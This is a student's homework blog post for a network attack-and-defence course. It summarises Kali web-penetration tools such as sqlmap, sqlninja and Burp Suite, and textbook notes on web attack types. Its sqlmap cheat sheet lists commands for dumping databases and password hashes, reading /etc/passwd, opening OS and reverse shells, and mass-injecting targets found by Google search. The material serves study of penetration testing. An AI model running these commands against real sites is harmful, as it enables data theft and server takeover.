2017-2018-2 20179209《网络攻防》第五周作业

网络攻防之Web渗透

视频学习

数据库评估软件

bbqsql

bbqsql是一个Python编写的盲注工具，当检测可疑的注入漏洞时会很有用，同时bbqsql是一个半自动工具，允许客户自定参数。

DBPwAudit

DBPwAudit是一个数据库用户名和密码枚举工具。

HexorBase

图形化的密码破解与连接工具，开源。

jsql

jsql是一款轻量级安全测试工具，可以探测SQL注入漏洞，它跨平台，开源免费，将存在注入漏洞的URL贴进来即可进行漏洞利用，图形化界面亲民，但使用效果有待提高。

MDBTools

包括一下几个子工具，具体情况具体分析使用：

  • mdb-export
  • mdb-hexdump
  • mdb-parsecsv
  • mdb-sql
  • mdb-tables

Oracle Scanner

该工具是一个Java开发的Oracle评估工具，它是基于插件结构的，当前有两个插件可以做：

  • Sid列举
  • 口令测试
  • 列举Oracle版本
  • 列举账号角色
  • 列举账号特权
  • 列举账号哈希
  • 列举审计信息
  • 列举口令策略
  • 列举数据库链接

SidGusser

同样是针对Oracle的SID连接暴力枚举的工具，SID为Oracle实例化，Oracle连接字符串，通过实例名+用户+密码连接。

tnscmd10g

允许用户向Oracle数据库中注入命令执行。

sqlsus

它是一个开放源代码的MySQL注入和接管工具，sqlsus使用perl编写，基于命令行界面。sqlsus可以获取数据库结构，注入自己的sql语句，从服务器下载文件，爬行web站点可写目录，上传和控制后面人，克隆数据库等等。最好用的两点是注射获取数据的速度非常快，另外一个最大的特点是自动搜索可写目录。首先得生成配置文件sqlsus -g test.conf,然后对配置文件进行修改；接着使用sqlsus test.conf进行注入。

sqlninja

在sql注入方面一直尊sqlmap为神奇，但sqlninja也有自己的特点。

sqlninja是一款perl语言编写的一个专门针对MSQSQL的注入工具。和市面上其他注入工具不同，sqlninja没有花费精力再跑数据库上，而专注于获取一个shell，其优点如下:

  • 一个专门针对MSSQL的注入工具；
  • 可找到元辰sql服务器上的标志和特征；
  • sa口令的强力攻击；
  • 一旦找到sa口令，即可将权限提升到sa；
  • 如果原始xp_cmdshell被禁用，会立刻创建一个可运行的xp_cmdshell；

    等等。

sqlmap

sqlmap是一个开源的漏洞测试工具，它主要用于自动化地侦测和实施SQL注入攻击以及渗透数据库服务器。SQLMAP配有强大的侦测引擎，适用于高级渗透测试用户，不仅可以获得不同数据库的指纹信息，还可以从数据库中提取数据，此外还能够处理潜在的文件系统以及通过带外数据连接执行系统命令等。

sqlmap常用命令：

sqlmap -u "http://url/news?id=1" –current-user #获取当前用户名称
sqlmap -u "http://www.xxoo.com/news?id=1" –current-db #获取当前数据库名称
sqlmap -u "http://www.xxoo.com/news?id=1" –tables -D "db_name" #列表名
sqlmap -u "http://url/news?id=1" –columns -T "tablename" users-D "db_name" -v 0 #列字段
sqlmap -u "http://url/news?id=1" –dump -C "column_name" -T "table_name" -D "db_name" -v 0 #获取字段内容
sqlmap -u "http://url/news?id=1" –smart –level 3 –users # smart智能 level 执行测试等级
sqlmap -u "http://url/news?id=1" –dbms "Mysql" –users # dbms 指定数据库类型
sqlmap -u "http://url/news?id=1" –users #列数据库用户
sqlmap -u "http://url/news?id=1" –dbs#列数据库
sqlmap -u "http://url/news?id=1" –passwords #数据库用户密码
sqlmap -u "http://url/news?id=1" –passwords-U root -v 0 #列出指定用户数据库密码
sqlmap -u "http://url/news?id=1" –dump -C "password,user,id" -T "tablename" -D "db_name" –start 1 –stop 20 #列出指定字段，列出20条
sqlmap -u "http://url/news?id=1" –dump-all -v 0 #列出所有数据库所有表
sqlmap -u "http://url/news?id=1" –privileges #查看权限
sqlmap -u "http://url/news?id=1" –privileges -U root #查看指定用户权限
sqlmap -u "http://url/news?id=1" –is-dba -v 1 #是否是数据库管理员
sqlmap -u "http://url/news?id=1" –roles #枚举数据库用户角色
sqlmap -u "http://url/news?id=1" –udf-inject #导入用户自定义函数（获取系统权限！）
sqlmap -u "http://url/news?id=1" –dump-all –exclude-sysdbs -v 0 #列出当前库所有表
sqlmap -u "http://url/news?id=1" –union-cols #union 查询表记录
sqlmap -u "http://url/news?id=1" –cookie "COOKIE_VALUE" #cookie注入
sqlmap -u "http://url/news?id=1" -b #获取banner信息
sqlmap -u "http://url/news?id=1" –data "id=3" #post注入
sqlmap -u "http://url/news?id=1" -v 1 -f #指纹判别数据库类型
sqlmap -u "http://url/news?id=1" –proxy"http://127.0.0.1:8118" #代理注入
sqlmap -u "http://url/news?id=1″–string”STRING_ON_TRUE_PAGE" #指定关键词
sqlmap -u "http://url/news?id=1" –sql-shell #执行指定sql命令
sqlmap -u "http://url/news?id=1" –file /etc/passwd python sqlmap/sqlmap.py -u "http://url/news?id=1" –os-cmd=whoami #执行系统命令
sqlmap -u "http://url/news?id=1" –os-shell #系统交互shell
sqlmap -u "http://url/news?id=1" –os-pwn #反弹shell
sqlmap -u "http://url/news?id=1" –reg-read #读取win系统注册表
sqlmap -u "http://url/news?id=1" –dbs-o "sqlmap.log" #保存进度
sqlmap -u "http://url/news?id=1" –dbs -o "sqlmap.log" –resume #恢复已保存进度
sqlmap -g "google语法" –dump-all –batch #google搜索注入点自动 跑出所有字段攻击实例
sqlmap -u "http://url/news?id=1&Submit=Submit" –cookie="PHPSESSID=41aa833e6d0d28f489ff1ab5a7531406" –string="Surname" –dbms=mysql –users –password

web应用代理

通过应用代理分析数据包，或修改数据包重放、暴力攻击等安全测试中经常用到。

vega

vega是一个开放源代码的web应用程序安全测试平台，Vega能够帮助用户验证sql注入、跨站脚本、敏感信息泄露和其他一些安全漏洞，Vega使用java编写，有GUI，可以在Linux、OS X和Windows上运行，vega类似于怕肉丝 proxy等。

webscarab

该软件是一款代理软件，包括HTTP代理，网络爬虫、网络蜘蛛，会话ID分析，自动脚本接口。模糊测试工具，WEB格式的编码/解码，web服务描述语言和soap解析器等功能模块，它基于GNU协议使用java编写，是Webgoat中使用的工具之一。

paros

paros proxy 是一个对web应用程序的漏洞进行评估的代理程序，即一个基于java的web代理程序，可以评估web应用程序漏洞。它支持动态地编辑/查看http/https，从而改变cookie和表单字段等项目；它包括一个web通信记录程序，web全套程序，hash计算器，还有一个可以测试常见的web应用程序攻击的扫描器。该工具检查漏洞形式包括：

  • SQL注入
  • XSS
  • 目录遍历

    等。

burpsuite

burpsuite是用于攻击web应用程序的处理平台，它也是一个代理，通过默认端口8080运行。使用这个代理，我们可以截获和修改从客户端到web应用程序的数据包。它包含了一系列burp工具，这些工具之间有大量接口可以互相通信，这样设计的目的是为了促进和提高真个攻击效率。平台中所有工具共享同一robust框架，以便统一处理HTTP请求，持久性，认证，上游代理，日志记录，报警和可扩展性。

burpsuite允许攻击者结合手工和自动技术去枚举、分析、攻击web应用程序。这些不同的burp工具通过协同工作，有效的分享信息，支持一某种工具中的信息为基础供另一种工具使用的方式发起攻击。

fuzz工具集

bed

bed（bruteforce exploit dectector）是一个纯文本协议的Fuzz工具，能够检查常见的漏洞，如缓冲区溢出，格式串漏洞，整数溢出等。

fuzz_ipv6

THC出品的针对IPv6协议的模糊测试工具。

wfuzz

针对web应用的模糊测试工具 ，可以进行web；应用暴力破解，也支持对网站目录、登录信息、应用资源文件等的暴力猜解，还可以进行get和post参数的猜解，sql注入、xss漏洞的测试等。该工具所有功能都依赖于字典。

xsser

主要是对一个页面或一个点进行测试，看是否存在xss漏洞。

教材学习

web应用体系结构

  • 浏览器
  • Web服务器
  • Web应用程序
  • 数据库
  • 传输协议

web应用安全威胁

  • 针对浏览器和终端用户的Web浏览器安全威胁
  • 针对传输网络的网络协议安全威胁
  • 系统层安全威胁
  • Web服务器软件安全威胁
  • Web应用程序安全威胁
  • Web数据安全威胁

攻击web服务器软件的方式：

  • 数据驱动的远程代码执行安全漏洞
  • 服务器功能扩展模块漏洞
  • 样本文件安全漏洞
  • 源代码泄露
  • 资源解析漏洞

攻击web应用程序

  • 针对认证机制的攻击
  • 授权机制的攻击
  • 客户端攻击
  • 命令执行攻击
  • 信息暴露
  • 逻辑攻击

攻击web数据内容

  • 安全敏感数据泄露
  • 网站篡改
  • 不良信息内容上传

SQL注入的攻击步骤和过程

  • 发现SQL注入点
  • 判断后台数据库类型
  • 后台数据库中管理员用户口令猜解
  • 上传ASP后门，得到默认账户权限
  • 本地权限提升
  • 利用数据库扩展存储过程执行Shell命令

web浏览器软件的安全困境三要素：复杂性、可扩展性、连通性方面。

网页挂马策略：

  • 内嵌HTML标签
  • 恶意Script脚本
  • 内嵌对象链接
  • ARP欺骗挂马

原文地址：https://www.cnblogs.com/genius-sen/p/8734066.html

时间： 2024-11-05 19:33:53

2017-2018-2 20179209《网络攻防》第五周作业的相关文章

网络攻防第五周作业

1.Web应用程序安全攻防 Web应用体系结构包括浏览器.web服务器.web应用程序数据库.传输协议. Web应用安全威胁和攻击类型:针对浏览器和终端用户的Web浏览安全威胁:系统层安全威胁:Web服务器软件安全威胁:Web应用程序安全威胁:Web数据安全威胁. Web应用安全攻防技术概述 Web应用的信息收集,针对Web应用程序的探测和漏洞发现的技术方法:手工审查Web应用程序结构与源代码.自动下载与镜像Web站点页面.使用Google Hacking技术审查与探测Web应用程序.Web应用

解题报告——2018级2016第二学期第五周作业排座椅

解题报告--2018级2016第二学期第五周作业 F:排座椅 描述 上课的时候总会有一些同学和前后左右的人交头接耳,这是令小学班主任十分头疼的一件事情.不过,班主任小雪发现了一些有趣的现象,当同学们的座次确定下来 之后,只有有限的D对同学上课时会交头接耳.同学们在教室中坐成了M行N列,坐在第i行第j列的同学的位置是(i,j),为了方便同学们进出,在教室中设 置了K条横向的通道,L条纵向的通道.于是,聪明的小雪想到了一个办法,或许可以减少上课时学生交头接耳的问题:她打算重新摆放桌椅,改变同学们桌椅

解题报告—— 2018级2016第二学期第五周作业 删数问题

解题报告--  2018级2016第二学期第五周作业 删数问题 描述 键盘输入一个高精度的正整数n(<=240位),去掉其中任意s个数字后剩下的数字按原左右次序将组成一个新的正整数.编程对给定的n和s,寻找一种方案,使得剩下的数字组成的新数最小. 输入ns输出最后剩下的最小数样例输入 178543 4 样例输出 13 分析: 这题题目上已表明是贪心算法:原本最容易产生的错误贪心准则是删去其中最大的数字:但通过简单举例便可得之,这种贪心准则要漏洞:通过简单的计算举例发现如果这个数是一位比一位大的话

《网络攻防第八周作业》

网络攻防环境的搭建与测试 环境包括Windows靶机.Linux靶机.Windows攻击机.Linux攻击机下图为四台机器的IP地址截图下图为测试靶机与攻击机之间的连通性测试: kali视频学习: 第31节 kali漏洞利用之SET Social Engineering Toolkit(SET)是一个开源.Python驱动的社会工程学渗透测试工具,提供了非常丰富的攻击向量库.是开源的社会工程学利用套件,通常结合metasploit来使用.1.命令行输入setoolkit打开SET套件 2.如上图

2017-2018-2 20179302《网络攻防》第九周作业

教材学习总结 本周主要学习了<网络攻防---技术与实践>第9.10章的内容,主要学习了 恶意代码攻防 与软件安全攻防 恶意代码安全攻防 1.基础知识 恶意代码是指使计算机按照攻击者的意图执行以达到恶意目标的指令集.类型包括:计算机病毒.蠕虫.恶意移动代码.后门.特洛伊木马.僵尸程序.内核套件.融合型恶意代码. 计算机病毒的基本特性:感染性.潜伏性.可触发性.破坏性.衍生性 僵尸网络命令与控制机制包括: (1)基于IRC协议的命令与控制机制 (2)基于HTTP协议的命令与控制机制 (3)基于P2

2017-2018-2 20179209《网络攻防》第一周作业

你对师生关系的理解,希望是哪种关系? 处于研究生的我们,自学体系应该相比本科生更加完备.如果到现在获取知识的方式仍是以老师讲为主渠道,那基本上就已经废了.那么老师在我们自学过程中应该扮演什么角色?--引导者.督促者.人都是有惰性的,学习过程中难免会松懈,如果要不断上进,那就需要这么一位"铁面无私"的监督者:尽管我们要以自学为主,但就像自己走完一段陌生的路一样,需要有人导引方向.这是我对这一阶段师生关系的理解,也希望它能出现在我和我的老师之间. 如何提问? 正如老师所说,我们现在遇到的所

网络攻防第七周作业

教材第七章总结 01 知识要点总结 windows系统的基本架构 1.windows系统的发展与现状 2.windows系统的基本结构 windows系统的安全体系结构与机制 1.windows系统的安全体系结构概述 2.windows认证机制 3.windows系统访问与授权机制 4.windows系统安全审计机制 5.windows系统的其他安全机制 windows系统安全攻防技术 1.windows系统的安全漏洞 2.windows远程口令猜解 3.windows服务远程 4.手动实践:M

《网络攻防》第九周作业

kali视频学习 第36节 压力测试工具1.VoIP压力测试工具web压力测试:2.thc-ssl-dos的验证.3.dhcpig 尝试耗尽所有IP地址4.ipv6工具包5.inundator IDS/IPS/WAF压力测试工具耗尽对方说的日志资源.6.macof可做泛红攻击8.t50压力测试9.无线压力测试mdk3和reaver 第37节 数字取证工具 数字取证技术是将计算机调查和分析技术应用于对潜在的.有法律效力的电子证据的确定与获取,同样他们都是针对黑客和入侵目的的.目的都是保证网络的安全

结题报告——2018级2016第二学期第五周作业9.24

F:[NOIP2008P]排座椅 描述 上课的时候总会有一些同学和前后左右的人交头接耳,这是令小学班主任十分头疼的一件事情.不过,班主任小雪发现了一些有趣的现象,当同学们的座次确定下来 之后,只有有限的D对同学上课时会交头接耳.同学们在教室中坐成了M行N列,坐在第i行第j列的同学的位置是(i,j),为了方便同学们进出,在教室中设 置了K条横向的通道,L条纵向的通道.于是,聪明的小雪想到了一个办法,或许可以减少上课时学生交头接耳的问题:她打算重新摆放桌椅,改变同学们桌椅间通 道的位置,因为如果一条

2017-2018-2 20179305《网络攻防》第一周作业

Q1:你对师生关系的理解,希望是哪种关系? 在我看来,师生关系是一种互相促进,良心发展的关系.师生在互动中所得到的不仅仅是知识的交融,更是心灵的碰撞.学生在获得知识的同时,更多的是收获到了学习的方法以及学习的积极性,与此同时,学生的主动性使得课堂氛围更加活跃,学习氛围更加融洽. Q2:如何提问? 1.找到自己的问题所在,尝试用所学知识或者书本网络资源解决问题. 2.若找不到问题的解决方法,则选择合适的提问方式,向老师提问大致的解决方向,而不是单纯的询问问题答案. 3.在获得解决方法之后,尝试与自